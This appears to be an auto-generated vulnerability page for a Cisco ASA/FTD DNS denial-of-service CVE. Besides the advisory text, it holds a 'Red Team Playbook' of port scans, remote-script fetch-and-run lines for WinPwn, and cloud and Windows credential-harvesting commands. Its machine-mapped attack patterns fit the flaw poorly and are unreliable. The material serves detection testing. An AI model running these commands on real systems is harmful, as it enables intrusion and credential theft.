CVE-2022-20760
Overview
This vulnerability is a denial of service (DoS) condition caused by improper handling of DNS inspection requests within Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) software. The root cause lies in the DNS inspection handler's inability to properly process crafted DNS packets, leading to resource exhaustion or failure in the packet processing logic. The affected component is the DNS inspection feature responsible for analyzing and filtering DNS traffic.
Vulnerability Description
A vulnerability in the DNS inspection handler of Cisco Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause a denial of service condition (DoS) on an affected device. This vulnerability is due to a lack of proper processing of incoming requests. An attacker could exploit this vulnerability by sending crafted DNS requests at a high rate to an affected device. A successful exploit could allow the attacker to cause the device to stop responding, resulting in a DoS condition.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending a high volume of crafted DNS requests, causing the affected device to become unresponsive and resulting in a denial of service. No user interaction or privileges are required, and the attack can be launched over the network. This disrupts network security operations and availability of the Cisco ASA or FTD device, potentially impacting enterprise network traffic inspection and security enforcement. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms that exploitation requires only network access with low complexity and no privileges.
Solution
Cisco has released security updates addressing this issue in Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) software. Administrators should apply the patches as detailed in the Cisco Security Advisory (cisco-sa-asaftd-dos-nJVAwOeq) available at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-dos-nJVAwOeq. Specific fixed versions include Firepower Threat Defense 7.1.0 and later. No workarounds are recommended; timely application of vendor patches is required to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A significant vulnerability exists within the DNS inspection handler of Cisco's Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software. This flaw is primarily attributed to inadequate processing of incoming DNS requests, which can be exploited by an unauthenticated remote attacker. The vulnerability allows for the possibility of a denial of service (DoS) condition on affected devices. When an attacker sends crafted DNS requests at a high rate, the device may become overwhelmed, leading to a complete halt in its operations. This lack of robust handling of DNS requests underscores a critical weakness in the network security architecture of the affected products.
The attack vector for this vulnerability is straightforward yet effective. An attacker can leverage the flaw by generating a flood of specially crafted DNS requests directed at the vulnerable device. Since the device fails to appropriately manage these requests, it can quickly become saturated, resulting in a DoS condition. This exploitation does not require any form of authentication, making it particularly dangerous as it opens the door for malicious actors to disrupt services without needing prior access or credentials. The simplicity of the attack method, combined with the potential for significant disruption, makes this vulnerability a high-risk concern for organizations relying on these Cisco products for network security.
The real-world impact of this vulnerability can be profound, especially for businesses that depend on continuous network availability. A successful attack could lead to service outages, affecting not only internal operations but also customer-facing services. The resulting downtime can translate into financial losses, damage to reputation, and potential legal ramifications if service level agreements are breached. Additionally, the inability to process DNS requests can disrupt critical business functions, such as email communication, web services, and remote access, further exacerbating the operational impact. Organizations that utilize Cisco's ASA and FTD products must recognize the business risks associated with this vulnerability and take proactive measures to safeguard their networks.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a combination of monitoring and defensive strategies. Continuous network monitoring can help identify unusual patterns of DNS traffic that may indicate an ongoing attack. Intrusion detection systems (IDS) can be configured to alert administrators to potential exploitation attempts, allowing for timely intervention. Furthermore, organizations should ensure that their Cisco devices are updated with the latest security patches and firmware releases. Regular vulnerability assessments and penetration testing can also aid in identifying potential weaknesses before they can be exploited by malicious actors. Additionally, implementing rate limiting on DNS requests can help mitigate the impact of a potential flood attack, ensuring that the device can maintain operational integrity even under duress.
In conclusion, the vulnerability within the DNS inspection handler of Cisco's ASA and FTD Software represents a significant threat to network security. The potential for denial of service attacks, coupled with the ease of exploitation, poses a serious risk to organizations that rely on these devices. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to detect and mitigate potential threats, ensuring the resilience and reliability of their network infrastructure.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
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Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
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Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
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|
Cisco | Firepower Threat Defense | 7.1.0 |
cpe:2.3:a:cisco:firepower_threat_defense:7.1.0:*:*:*:*:*:*:*
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Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-492 | Regular Expression Exponential Blowup |
30%
|
— | — | |
| CAPEC-227 | Sustained Client Engagement |
30%
|
— | — |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-20760 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-dos-nJVAwOeq |